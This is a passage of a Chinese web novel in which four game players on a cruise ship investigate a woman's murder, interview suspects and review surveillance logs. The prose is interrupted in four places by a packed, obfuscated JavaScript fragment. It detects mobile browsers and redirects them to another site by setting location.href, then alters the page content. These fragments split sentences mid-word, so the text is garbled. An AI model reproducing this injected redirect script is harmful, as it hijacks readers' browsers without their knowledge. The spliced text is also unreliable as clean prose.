终于,初与序的手厨房到了对面阳台冰冷的铁栏杆底部。她停下脚步,在原地缓了一秒,随后立刻松开床单,双手迅速抓住栏杆,腰部发力,轻盈地翻越了过去,完全地落在了相邻阳台的地面上。 对岸三人这才松了口气,悬着的心放了下来。 初与序微微喘了口气,快速检查了一下阳台门,没有上锁,被她拉开了一条小缝隙。 她小心翼翼地侧身闪入室内,这是一个布局和她自己房间相似的客房,一名乘客正背对着阳台,烦躁地对着手机大声抱怨:“…it is said that there is a serious incident……good money for this trip…(…说有严重事件,我们全得困在这该死的房间里!你敢信吗?他们不让任何人出去,把我们当囚犯一样!我花大价钱来这趟旅行…)” 他似乎正在和朋友打电话,情绪激动,完全没注意到身后的动静。 初与序屏住呼吸,悄无声息地快速贴近他身后。 就在乘客愤愤不平地挂断电话,正准备转身的下一秒,初与序出手如电,精准利落的手刀劈在他的后颈上! 男子闷哼一声,身体一软,直接瘫倒在地,失去了意识。 初与序迅速将他拖到床边,用被子盖好,制造出还在睡觉的假象。然后她返回阳台,朝着对面等待的三人打了个“安全”和“过来”的手势。 冬逢初、向枝冥和齐无尽看到信号,也沿着那条湿滑危险的床单绳,小心翼翼地攀爬过来。有了初与序的经验,他们的动作更加迅速谨慎。 向枝冥最后一个过来,他看见床上“熟睡”的乘客,挑眉道:“哇哦,手刀用的不错,你自己练的?” “学景明垂的。”初与序说。 向枝冥笑道:“厉害,回头我也找景姐学两招。” 就在他们说话时,冬逢初已经拉开了客房的门,探出头观察走廊。幸运的是,走廊上空荡荡的,只有他们右侧隔壁,也就是软禁他们的那间休息厅门口,站着早上送饭的那位保安。他靠着墙,神色疲惫,并没有注意到这边门开了条缝。 冬逢初回过头,对同伴们打了个手势,示意情况。 齐无尽面无表情上前半步,手指间不知何时夹住了一张扑克牌。他看准角度,手腕一抖,扑克牌带着破空声,精准地擦过保安右侧的墙壁,深深钉入了墙面! “What was that?(什么声音?)”保安被吓了一跳,下意识扭过头朝右边看去,完全暴露了毫无防备的脖颈。 就在他转头时,初与序已经来到他左侧,抬起头又是一记手刀,精准劈下! “呃…”保安身体一软,眼看着就要倒地。 紧跟而上的向枝冥迅速扶住他下滑的身体,避免发出过大声响。同时另一只手在他腰间摸索,很快找到了一串钥匙。 “找到了!”向枝冥抽出标有休息厅号码的那把钥匙,插入锁孔一转,打开门。 冬逢初将昏迷的保安拖进了休息厅,从面板中取出绷带,代替麻绳,将保安的手脚牢牢捆住,并用床单塞住了他的嘴,防止他醒来发出声。 做完这一切,四人立刻退出休息室,轻轻带上门。 他们避开偶尔巡逻的船员,再次来到罗莎蒙特罗的套房外。门口拉着警戒线,但或许是人手不足,并没有安排很多人看守。 初与序放倒唯一的保安,四人闪身进入套房,客厅里那只烤焦的死猪还放在餐车上,散发着令人不适的气味。浴室的门敞开着,里面血腥恐怖的景象依旧维持着原样,只是血腥味变得更加浓重。 “系统。”初与序敲了敲面板,“道具商城有没有手套,鞋套,和紫外线灯,可以检查指纹痕迹的那种。” 【没有没有没有,不给不给不给。】 初与序面无表情,直接抓住面板,另一只手握拳,就要砸下去。 【哎哟喂!给给给!马上给!玩家冷静!暴力禁止!】 下一秒,四副橡胶手套、四双一次性鞋套和一个紫外线灯凭空掉落在他们脚边的地毯上。 【买道具的积分已经自动从玩家初与序总积分中扣除。】 四人:“……” 向枝冥捡起紫外线灯,啧啧称奇:“能让系统服软的,你还是永冬之城第一人。” 四人迅速套上手套和鞋套,确保不会留下任何新的痕迹后,才再次踏入这片血腥的案发现场,检查任何可能的细节。 然而,没有。 一丝一毫的指纹痕迹都没有。 凶手极其谨慎,甚至可称得上是专业。不仅戴了手套,而且在完成那一系列暴行后,还清除了所有可能遗留的接触痕迹。紫外线灯扫过之处,只有一些被血污破坏的根本没有用的痕迹。 “擦得真干净。”向枝冥直起身,揉了揉有些发酸的后颈,“这家伙心理素质不是一般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948697|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好啊,在完成这种血腥场面后还能冷静地清理现场,绝非普通人。” 齐无尽关掉紫外线灯:“预谋充分,准备周全,激情杀人的可能性降低。” 他们只好先退出浴室,齐无尽从面板里摸出一个小笔记本和一支笔,快速在上面写下几个字: 「罗莎死亡时间:20:30-20:33(停电期间)」 他合上本子,抬眼看着血腥的浴室,语气平淡:“这里被清理得太干净了。” “在这里发现不了什么。”齐无尽脱下手套,“去找嫌疑人吧。” 冬逢初挑眉,语气里带着一丝嘲弄:“找我们自己吗?我们现在可是头号嫌疑犯。” “……当然不。”齐无尽扯了扯嘴角,“对我们来说,嫌疑最大的显然是玛蒂尔达和维克,去找他们谈谈。” 向枝冥提出问题:“但是…我们怎么谈?现在所有乘客和一部分船员都被命令待在房间,我们也是被软禁的嫌疑人,四处乱逛只会增加嫌疑。” 初与序想了想,道:“演一下,假装我们是船方私下邀请来协助调查的侦探。反正这里没人认识我们,只要演得像,一时半会没问题。” “行啊。”向枝冥耸耸肩,“刚好咱们四个里头,这两人都是演技派。”他意有所指地看向冬逢初和齐无尽,冬逢初上次在团队赛演“老实人”的场景已经被很多人记住,而齐无尽本身就是会出千的荷官,骗骗NPC小菜一碟。 “先去服务生休息室找维克。”齐无尽道,“目前只有他的位置是相对明确的,玛蒂尔达的房间号我们不知道。” 四人最后看了一眼这间死亡套房,轻轻退出,并小心带上了门。 一路上,他们凭借着对游轮结构的印象,在船员通道和服务区域之间小心翼翼地穿梭。 幸运的是,之前与他们直接打过交道的只有送饭船员、安娜贝尔、船长和少数几名保安。大部分船员和保安并非亲眼见过这几位嫌疑人,更不清晰他们已经被软禁。偶尔在转角遇见行色匆匆的船员或巡逻的保安,对方也只是投来疑惑的目光。 “Passengers?You shouldn''t be out here!Return to your cabins immediately!(乘客?你们不该在这里!立刻客房去!)”一名保安皱着眉催促道。 冬逢初上前一步,用流利的英文回应:“Captain''s orders.We''re assisting with the preliminary inquiry.Please carry on with your duties.(船长的命令,我们正在协助初步调查。请继续你们的职责。)” 他的语气自然笃定,保安半信半疑,又看到旁边齐无尽那张冷冰冰的脸,以及向枝冥一脸“我们就是有特权”的坦然,虽然觉得有些奇怪,但还是点了点头,转身离开。 就这样,他们一路有惊无险,终于摸到了位于下层甲板的服务生休息室附近。 174.蔚蓝海神号 向枝冥站在服务生休息室门口,压低声音:“接下来怎么搞?直接敲门说‘Hello,我们是侦探’?” “他一个人在里面。”齐无尽看向休息室门上的小窗。 初与序抬手,轻轻敲了敲服务生休息室的门:“Hello?Me.Lane?Can we have a word with you?(你好?莱恩先生?能和你谈谈吗?)” 里面传来一阵慌乱的动静,像是有人猛地站了起来。几秒后,门被拉开一条缝,维克 莱恩苍白紧张的脸露了出来。他看到门外站着几位陌生的东方面孔,愣了一下,眼神里充满了警惕和不安。 “We''re following up on the incident last night,(我们正在跟进昨晚的事件。)”冬逢初上前一步,语气平和,“Just a few questions,if you don''t mind.(只是几个问题,如果你不介意的话。)” 维克立刻激动起来,声音都提高了八度:“It wasn''t me!I didn''t do it!I have an alibi!I was in the ballroon serving guests when the power went out!Many people saw me!(不是我!我没杀人!我有不在场证明!停电的时候我在宴会厅服务客人!很多人都看到我了!)” 他语速极快,几乎是不打自招般地强调自己不在现场。 四人交换了一个眼神,冬逢初继续保持温和的态度:“We understand.Please,can you tell us your movements in more detail?(我们理解。请详细说一下你的行踪好吗?)” 维克稍微冷静了一点,绞着手指,回忆道:“Madame Monterio placed a special order…I brought it up around……the lights went out!Ask anyone!(蒙特罗夫人点了一份特别订单…我大概是七点一刻?或者七点二十送过去的?按照指示放在她客厅了。她当时在浴室。然后我就回了厨房,七点四十五,最晚八点就回到宴会厅了!一直到停电我都在那里端酒水和点心!你们可以去问任何人!)” 齐无尽再次拿起笔记本和笔,快速记录下: 「维克退餐车前往罗莎房间:19:15-19:30」 「维克返回宴会厅时间:19:45-20:00」 “We will verify that.(我们会核实的。)”齐无尽冷冰冰地开口,然后看向向枝冥,“Let''s go ask around.(我们去问问。)” 他和向枝冥转身离开,去附近寻找可能还在忙碌或休息的其他船员和服务生,核实维克的说辞。 初与序和冬逢初则继续留在休息室,又问了几个维克关于罗莎平时行为,是否与人结怨等问题。维克的回答大多围绕着罗莎的苛刻和自己的委屈,情绪激动但听起来并不像在撒谎,尤其反复强调自己回到宴会厅后就没有离开过。 大概十分钟后,齐无尽和向枝冥回来了。向枝冥冲初与序和冬逢初微微点了点头。 齐无尽道:“多名乘客和船员证实,他从约晚上八点前直至停电期间,确实一直在宴会厅内进行服务工作,身影活跃,多人有印象。” 维克闻言,像是终于松了一口气,带着哭腔重复:“You see?I told you!It wasn''t me!(你们看》我告诉你们了!不是我!)” 四人再次对视一眼,初与序最后问道:“Do you know which room Matilda Crow is in?(你知道玛蒂尔达克劳在哪间房吗?)” 维克回答:“Oh,her…I think she''s on Deck 9,room 912…or 916?Something like that .Sheplained about the noise from the engines once.(哦,她…我想她在九层,912或916?差不多。她之前抱怨过发动机的噪音。)” “Thanks.”初与序记录下楼层信息。 冬逢初补充了最后一个问题:“One more thing.Did you see Emily,Mrs.Montero''s daughter,in the ballroom last night?(还有一件事。昨晚你在宴会厅看到蒙特罗夫人的女人艾米丽了吗?)” “Yeah,I saw her.(是的,我看到了。)”维克抬手摸一下鼻子,语气肯定,“She was in the kid''s corner the whole time,drawing.Quiet as a mouse.Lots of other passengers saw her too,kept to herself.(她一直待在儿童区画画,安静得像只小老鼠。很多其他乘客也看到她了,她一直自己待着。)” “I see.Thank you for your coo[eration,(明白了,谢谢你的配合。)”冬逢初不在多问。 四人没有继续问,道别后就转身离开了服务生休息室。维克看着他们离开,长长地舒了口气,关上了门。 初与序走在最前面,刚踏上第九次甲板的走廊,还没靠近912-916房间区域,一阵激烈尖锐的争吵声就清晰地传了过来。 他们立刻闪身躲进一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948698|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆放着清洁车的凹槽拐角处,小心地探头望去。 只见玛蒂尔达克劳的912房间门口围着一群人:船长面色铁青,两名保安一左一右站着,旁边还有一名负责记录的船员,以及脸色苍白的安娜贝尔。而被围在中间的玛蒂尔达,情绪显然已经彻底失控。 她金色头发散乱,眼睛通红,脸上全是愤怒,激动地挥舞手臂,带着哭腔反驳: “I''m telling you,I didn''t do it! That knife isn''t mine! Someone planted it there! In my own room!(我告诉你们,不是我干的!那刀不是我的!是有人栽赃!就在我自己的房间里!)” 一名保安手里拿着一个透明的证物袋,里面装着一把看起来相当锋利的厨刀,刀身上还残留着明显的、已经发暗的血迹。 船长声音沉重:“Ms,Crow,this was found under your bed.Preliminary examination suggests it matches the wound on Mrs.Montero''s neck.This is very serious.(克劳女士,这是在你床底下发现的。初步检查表面它与蒙特罗夫人颈部的伤口吻合。这件事非常严重。)” “I DON''T CARE WHAT IT MATCHES!(我不管它吻合什么!)”玛蒂尔达嘶吼道,“I was in the ballroom,then I came back here bacuse I felt sick! I was here when……have to believe me!(我当时在宴会厅,后来我觉得不舒服就回来了!停电的时候我就在这里!我哪儿也没去!任何人在停电时或之前都能溜进来!你们必须相信我!)” 安娜贝尔试图安抚她:“Matilda,please,calm down.We''re trying to investigate……(玛蒂尔达,求你冷静点,我们正在调查……)” “Calm down? How can I calm down when I''m being framed for murder!(冷静?我被诬陷谋杀了你让我怎么冷静!)”玛蒂尔达打断她,语气绝望愤怒。 躲在拐角处的四人将这一切尽收眼底。 向枝冥一头雾水:“他们叽里呱啦说啥呢?knife?刀?找到凶器了?” 齐无尽把事情经过总结了一下,向枝冥听完摇了摇头:“直接搜出凶器?这栽赃够直接的。” 初与序看着濒临崩溃的玛蒂尔达,和作为“铁证”的带血厨刀。这突如其来的“证据”几乎要将玛蒂尔达彻底钉死在凶手的位置上。 175.蔚蓝海神号 齐无尽看着那边混乱的场面,道:“如果是栽赃,凶手对船上所有人的动态都了如指掌,才能精准利用停电和混乱间隙下手。” 冬逢初想到了另一种可能,幽幽道:“如果凶手像我们一样,有能力从游轮外壁攀爬,或者从通风管道里,来到玛蒂尔达的房间放置凶器,那么他根本不需要熟悉内部流程,只需要知道房间位置和避开海上视线即可。” “风险过高。”齐无尽反驳,“暴风雨夜攀爬,还要准备找到特定房间,成功率太低,不如利用内部混乱可靠。” 冬逢初道:“但可以完美避开所有内部目击者。对于体能和技巧足够的人来说,并非不可能。别忘了,罗莎房间的布置也不正常。” “攀爬外壁需要极强体能和准备,不符合玛蒂尔达或维克的形象。” “凶手未必只有他们两人。或者,我们低估了其中某人的能力。” “证据指向内部人员作案可能性更高。” “案发现场布置又暗示可能存在外部信仰或力量介入,灵异事件,哪个内部人员能做到那样?” 两人你一言我一语,逻辑清晰各执一词,谁也说服不了谁。 初与序和向枝冥在一边:“……” 向枝冥忍不住小声对初与序吐槽:“他俩这算不算另一种形式的吵架?” 初与序无奈地叹了口气。 就在冬逢初又想到了什么,准备再次开口反驳齐无尽时,初与序回过头,伸出手轻轻摸了一下他的脑袋,动作带着点安抚的意味,示意他“别说话,看那边”。 冬逢初像是被按了暂停键,立刻收声,乖巧地闭上了嘴,只是耳根微微泛红。 齐无尽:“?” 我去你的小情侣。 只见那边的问话似乎结束了,船长脸色依旧难看,对着玛蒂尔达说了几句“我们会进一步调查”之类的话,然后示意两名保安和船员留在912门口看守,防止玛蒂尔达出意外或者逃跑,随后便带着安娜贝尔离开了。 向枝冥敲着门口那两个尽职尽责的保安和船员,摸了摸下巴,忽然像是想起了什么,鬼鬼祟祟地从口袋里摸出一个小巧的瓷瓶和一块手帕。 “好东西。”他将瓷瓶里无色无味的粉末倒在手帕上,“特制安眠药粉,吸一口,保证睡到明天天亮,现在正好派上用场。” 初与序瞥了他一眼:“你不早拿出来?刚才躲躲藏藏那么费劲。” 向枝冥理直气壮地晃了晃只剩瓶底一点点的瓶子:“存货不多,得省着点用嘛。” 话音刚落,他身形一闪,悄无声息地贴近了其中一名保安背后,手臂一绕,浸了药粉的手帕捂住了对方的口鼻。 那保安连哼都没来得及哼一声,身体一软就往地上倒去。向枝冥顺势扶住他,轻轻放倒。 另一名保安听到细微动静,刚转过头:“Hey,what are you…(嘿,你干什…)” 向枝冥的动作更快,如法炮制,另一只手将早已准备好的第二块药帕直接捂了上去。第二名保安也瞬间眼神涣散,软倒在地。 剩下的一名船员吓了一跳,抖着手要按呼叫键,被赶来的初与序打晕。 向枝冥利落地将两人拖到墙边,让他们看起来像是背靠墙睡着了,还顺手给他们摆了个相对舒服点的姿势。 “哦哟,上班禁止睡觉。”向枝冥抱臂看着两人,吹了声口哨。 四人这才走到912门口,冬逢初抬手敲了敲门。 里面立刻传来玛蒂尔达崩溃烦躁的尖叫:“Go away! I said have nothing more to say! Leave me along!(走来!我说了我没什么好说的了!让我一个人待着!)” 冬逢初放缓声音:“Ms,Crow,we are not with the crew.We''d like to talk to you about the possibility that you were framed.(克劳女士,我们不是船员一伙的。我们想和你谈谈你被栽赃的可能性。)” 门内立刻安静了,几秒后,门锁咔哒一声打开,玛蒂尔达红肿着眼睛,警惕地探出半个身子。当她看到门口站着的是四个陌生的东方面孔,而不是船长或保安时,明显愣住了: “Who are you?What do you want?(你们是谁?想干什么?)” 冬逢初平静道:“Please,don''t be alarmed.We''re not here to accuse……between you and Mrs.Montero.(请别害怕,我们不是来指控你的。我们相信你可能是无辜的,我们想检查一下你的房间,看看真凶是否留下了痕迹。我们也需要了解你和蒙特罗夫人之间到底发生了什么。)” 玛蒂尔达犹豫了片刻,最终,对洗刷冤屈的渴望压到了对陌生人的戒备。她侧身让开了通道:“Finee in .But be quick.(好吧,进来,但是快点。)” 四人迅速闪身进入房间,玛蒂尔达立刻将门关上反锁。 她疲惫地指了指房间里的沙发和椅子:“Make yourselves…fortable,suppose.(请自便…大概吧。)”她自己则瘫坐在小沙发,无比疲惫。 由英文最好的齐无尽和初与序与她交流,两人坐到她对面的长沙发上。冬逢初和向枝冥则开始快速检查房间。 齐无尽开门见山:“Ms.Crow,we need to understand the nature of your dispute with Rosa Montero.The truth.(克劳女士,我们需要了解您与罗莎蒙特罗纠纷的本质。真相。)” 玛蒂尔达抬起头:“Money.What el ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964146|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' se?She lent me a significant sum to cover……expose me to eveyone…(钱,还能有什么?她借了我一大笔钱填补失败的投资和赌债。利息高得离谱。我还不上了。我恳求宽限时间,但她威胁要毁了我,要把我的事公之于众…)” “Did you threaten her in return during your argument in the ballroom?(您在舞厅争吵时,是否反过来威胁了她?)”初与序接着问。 “No! I mean...I was desperate!(没有!我的意思是…我当时绝望了!)”玛蒂尔达猛地摇头,“I said she couldn''t do this to me,that I''d...I''d fina a way.But I didn''t mean to kill her! I couldn''t!(我说她不能这样对我,我说我会…我会想办法,但我没想杀她!我不敢!)” 齐无尽道:“Where were you when the power went out?Precisely.(停电时您在哪里?精确位置。)” “Here! In this room!(在这里!就这个房间!)”玛蒂尔达指着脚下,“I left the ballroom early because I felt sick=sick with worry! I came back,took a pill,and was lying on the bed when the……too scared to move.(我提前离开舞厅是因为我觉得不舒服——焦虑的不行)!我回来了,吃了片药,正躺上床上灯就灭了。除了风暴和远处人们的尖叫,我没听到任何异常声响!我吓得不敢动!” 与此同时,冬逢初和向枝冥检查了整个房间,可房间内一无所获。 向枝冥又推开阳台门,冒着细雨检查了阳台栏杆和下方的游轮外壁。外壁光滑,没有任何攀爬留下的脚印。阳台地面上也只有雨水,没有从海里带来的海藻贝壳。 两人对视一眼,微微摇头。 问话和搜查同时结束,齐无尽和初与序从玛蒂尔达那里得到了不利于她的时间线和动机。冬逢初和向枝冥则没有找到任何能证明她清白的痕迹。 玛蒂尔达看着他们的表情,绝望地捂住脸:“You see? It''s hopeless.Someone put that knife there and I have no way to prove it!(你们看?没希望了。有人把刀放在那里,我根本没办法证明!)” 线索除了确认玛蒂尔达的强烈动机和薄弱的不在场证明,什么都没有,反而还让她更像是凶手。 176.蔚蓝海神号 初与序忽然开口问道:“Ms.Crow,besides yourselves,who else knew about the debt dispute between you and Mrs.Montero?(克劳女士,除了你自己,还有谁知道您和蒙特罗夫人之间的债务纠纷?)” 玛蒂尔达老老实实回答道:“Her husband knew.He didn''t care,as long as she got her money backl.And...and that quiwt little girl,Emily.she might……in front of her.(她丈夫知道,他并不在乎,只要她能拿回钱。还有那个安静的小女孩,艾米丽。她可能偷听到了一些我们…更激烈的争吵。罗莎从不避讳在她面前谈论这些。)” 初与序想了想,又问:“Do you know where Enily is now?(您知道艾米丽现在在哪里吗?)” 玛蒂尔达似乎有些意外这个问题,但还是回答:“I suppose she''s still in the children''s area?The crew……with the caregivers.(我想她还在儿童区吧?船员们试图封锁罗莎死亡的消息,尤其是对孩子们,还没有人告诉她。现在还没有直系亲属来认领她,我听说他们只是暂时把她留在那里,由看护人员照顾。)” “Thank you for your time,Ms.Crow.(谢谢您抽时间告知,克劳女士。)”齐无尽站起身,“We''ll continue our investugation.Please try to remain calm.(我们会继续调查,请尽量保持冷静。)” 玛蒂尔达只是苦涩地笑了笑,没有再说话。 齐无尽往房间外走,顺便拿出笔记本,快速补充记录: 「玛蒂尔达离开宴会回房间时间:20:15。」 四人向情绪低落的玛蒂尔达道别,离开了912房间。 门外,两名保安和船员还靠在墙边“睡得正香”,呼吸平稳。向枝冥看着这三位,挠了挠头:“不能就这么放着,等会儿被人看见,调个监控我们就暴露了。得把他们弄醒。” 他蹲下身,挨个拍了拍三人的肩膀,用他那中英混杂的塑料英文试图唤醒三人:“Hey! Wake up! 喂喂喂!起床了哥们儿!Sleeping on duty(值班睡觉),扣工资啊!” 三人被拍打得迷迷糊糊醒来,揉着惺忪的睡眼,一脸茫然地看着眼前的四个陌生人和彼此。 “What happened…?(怎么回事?)”一名保安困惑地问,感觉脑袋昏沉沉的,“Did I fall asleep?(我睡着了?)” 向枝冥见状,打算编个理由糊弄过去,但张了张嘴,发现复杂的英文解释超过了他的能力范围。他赶紧扭头看向齐无尽,求助道:“齐无尽!快,帮我编一下,就说他们太累了不小心睡着了,我们路过好心叫醒他们!” “……”齐无尽面无表情地瞥了他一眼,眼神里写满了“麻烦”,但还是无奈地转向三名茫然的船员,解释道: “You gentlemen seem to have dozed off due to exhaustion.We were passing by and noticed.The shift change might be soon,it would be best if you were alert.(几位先生似乎因为过度疲劳睡着了。我们刚好路过看到。可能很快要换班了,你们最好保持清醒。)” 三人面面相觑,虽然觉得脑袋异常沉重,记忆也有些模糊,但看着眼前四个衣着体面,语气正经的人,又觉得这个解释似乎……说得通? “Oh...Thank you for waking us.We must have been more tired than we thought...(哦…谢谢你们叫醒我们。我们一定是太累了…)”船员不好意思地道谢,另外两人也迷迷糊糊地跟着点头道谢。 “No problem.Carry on.(不客气,继续执勤吧。)”齐无尽冷淡地回了一句。 他们不再多留,转身就走,留下三名晕乎的人努力回想刚才到底发生了什么。 直到四人跑…不,走远,其中一名保安才揉着太阳穴嘀咕道:“Wait...weren''t we supposed to be guarding the room?And who were those people wxacly...?(等等…我们不是应该看守那个房间吗?那几个人到底是谁…?)” 三人对视一眼,都感觉好像有哪里不对劲,但又抓不住头绪。 “Probably just helpful passengers...?(大概只是热心乘客?)” “Yeah....must be.Let''s just...make sure we stay awake.(是吧…肯定是。我们…还是确保别睡着了。)” 他们最终还是没有深究,重新站回了岗位。而初与序四人已经逃之夭夭,来到了八层楼中部的儿童中心。 这里色彩明亮,布置温馨,与外面紧张的氛围不同。 初与序一眼就看到了艾米丽。她正独自坐在一张小桌子旁,安静地用蜡笔画画。一位面容和善的女船员坐在她旁边,轻声细语地陪她说这话。 看到四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964147|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人进来,女船员愣了一下,站起身,脸上带着紧张和尊敬,显然也听说了有“上面派来调查的人”。 “Oh,hello.Are you the investigators?(哦,你们好。你们是调查员吗?)”她小声问道,得到初与序肯定的点头后,她示意旁边的空位,“Please,have a seat.(请坐。)” 艾米丽在他们进来时,抬起眼皮极其快速地扫了他们一眼,明显认出了他们。但她什么也没说,只是低下头,将画本合上。 “We need to confirm Emily''s whereabouts last ningt,especially around the time of the power outage.(我们需要确认艾米丽昨晚的行踪。)”冬逢初温和开口。 女船员非常配合,努力回忆道:“Oh,she was here.From around seven……adores her.(哦,她一直在这里。从大概七点晚宴开始,直到来电后一段时间,我想大概八点四十?她一直在画画。心情似乎还不错,和路过的其他船员以及带孩子的父母有简单的交流。大家都很喜欢她。)” “You''re certain she never left?Even during the blakout?(你确定她从未离开?即便在停电期间?)” “During the blackout it was chaotic and dark,of course.(停电期间当然很混乱。)”女船员承认,“But we gathered the……our sight for long.(但我们把孩子聚集在一起,让他们保持冷静。大概八点四十应急灯和主电源恢复后,我们快速清点了人数。艾米丽就坐在她的位置上,和之前一样。可能更安静了些,大概是被停电吓到了,但她从未长时间离开我们的视线。)” 这番证词,与之前维克和其他人的说法完全吻合。 四人对视一眼,冬逢初找了个借口,对女船员道:“We''d like to speak with Emily alone for a few moments,if that''s possible.To avoid causing her additional stress.(我们想和艾米丽单独聊几句,如果可以的话。避免给她造成额外压力。)” 女船员立刻表示理解:“Of course.I was just about to go fetch some coffee for everyone.(当然可以,我正想去给大家倒点咖啡。)”她说着,便起身离开了儿童区,还贴心地带上了门。 房间里只剩下四人和艾米丽。 177.蔚蓝海神号 齐无尽拿出笔记本,写下:「艾米丽在儿童区时间范围(可能):19:00-20:30」 刚准备用英文开口询问,没想到艾米丽却率先抬起头,用带着一点口音的中文说道:“你们想问什么,就问吧。” 四人皆是一愣。 向枝冥惊讶地挑眉:“你会说中文?” 艾米丽表情平静,继续用中文回答:“安娜贝尔姐姐教的。罗莎经常带我来这艘船,每次来,安娜贝尔都会教我一点。她说,以后可能会有用。”她提到罗莎时,顿了一下,直接改用名字,冷冰冰的甚至有些嫌弃。 冬逢初想了想:“艾米丽,我们想了解一下昨晚……” “我知道她死了。”艾米丽直接打断了她,语气平静,“我猜到了。平时早晨她都会叫我去服务她,今天没有,船员们的表情也很奇怪,还在说‘谋杀’、‘封锁’之类的词。整艘船都很安静。” 她抬起头,那双过于平静的蓝色眼睛直视着四人:“我讨厌她。所以她死了,我没感觉。无所谓。” 初与序点了点头,将话题引向那串关键的珍珠项链:“我们注意到,罗莎夫人似乎非常珍视她的珍珠项链。听说她经常带你来这艘船,也是因为这个?” “嗯。”艾米丽道,“她说,每年这个时候,‘蔚蓝海神号’都会经过一片特别的海域,就在一个古老的村庄前面。那里的海水很特别,能让珍珠项链上的珍珠变得更亮,更圆润。她每年都要来保养她的项链。” “明天,这艘船就会开到那片海了。” “特别的海域?”冬逢初道。 “罗莎是这么说的。”艾米丽垂下眼睫。 向枝冥试着将话题引向更深处:“那这串项链,就是罗莎夫人的吗?” 艾米丽顿了一下,想了想,才再次开口:“是罗莎抢走我妈妈的…就是我生母。妈妈说那是很重要的东西,不能给别人。但妈妈失踪后,罗莎看上了项链,爸爸没办法。” “你的生母,她是个什么样的人?”齐无尽忽然开口。 艾米丽抬起眼,目光有些飘忽,仿佛在努力回忆一个模糊的影子:“我只知道妈妈和村子里别的女人不一样。安娜贝尔姐姐说,她好像来自一个…ancient family(古老家族),但没人说得清是哪个家族。” 她的中文词汇有限,遇到难以表达的地方,会夹杂简单的英文单词,但四人都能听懂。 “关于她的失踪…或死亡,大家说得都不一样。最多人说的是有一次,很大的storm(风暴),特别大。她一个人,开了船,去了很深的海里。然后,就再也没回来。” 她停顿了一下,像是在组织语言:“村子里的人说,她和爸爸在一起,not because of love(不是因为爱)。像是…running away(逃跑)?或者…exchange(交换)?我不知道。他们说,她一直不喜欢上流社会,不喜欢那些fake smiles(假笑)。她的心一直都在海里。” 她话音刚落,儿童区的门被推开,之前离开的女船员端着一个托盘走了进来,上面放着四杯热气腾腾的咖啡。 “Here you go,some hot coffee.I hope everything is alright?(给你们,热咖啡。希望一切还好?)”她关切地看了看艾米丽,又看了看神色各异的四人。 “Thank you,we''re fine.(谢谢,我们很好。)”冬逢初接过托盘,礼貌道谢。 女船员在艾米丽身边坐下,初与序放下咖啡杯:“We''d like to review the surveillance footage from……a clearer timeline.(我们想查看一下昨晚的监控录像,尤其是儿童区和相关走廊的。这可能有助于我们建立更清晰的时间线。)” 女船员犹豫片刻,最终还是点了点头:“Alright...I have access to the logs for this area.Let me pull it up for you.(好吧…我有权限查看这个区域的记录。我帮你们调出来。)” 她拿起放在一旁工作台上的笔记本电脑,快速登录系统,调出了监控管理界面。 四人围拢过去,盯着屏幕。 镜头一,儿童区入口及主活动区: 19:00:画面显示艾米丽背着一个小书包,安静地独自走进儿童活动中心。在和身边人礼貌地打过招呼后,她走向拜访者书架和画架的角落。那里恰好是监控摄像头死角,只能拍到她坐的沙发一角。她坐下来之后,监控就再也没能拍到她的全身正脸。此后,直到电力恢复后的画面,监控中再也看不到她明确离开那个死角的影像。 镜头二,一楼厨房外走廊→八楼走廊: 19:15:维克推着餐车从厨房区域出来,餐车上放着罗莎点的一只烤乳猪。 19:20:维克推着餐车进入八楼801,801是存放餐具和进行最后摆盘的地方,该房间内部无监控。 19:25:维克推着餐车从801出来,餐车上的东西整理整齐。 19:28:维克推车走上九楼,停在914房间(罗莎套房)门口,敲门,随后进入。 19:32:维克从914房间出去,将烤乳猪留在房间里,返回宴会厅方向继续服务乘客。 镜头三,九层走廊(玛蒂尔达房间附近): 20:15:玛蒂尔达情绪低落地走出电梯,走回自己的912房间并进入。此后直至停电,912房门再未打开过。 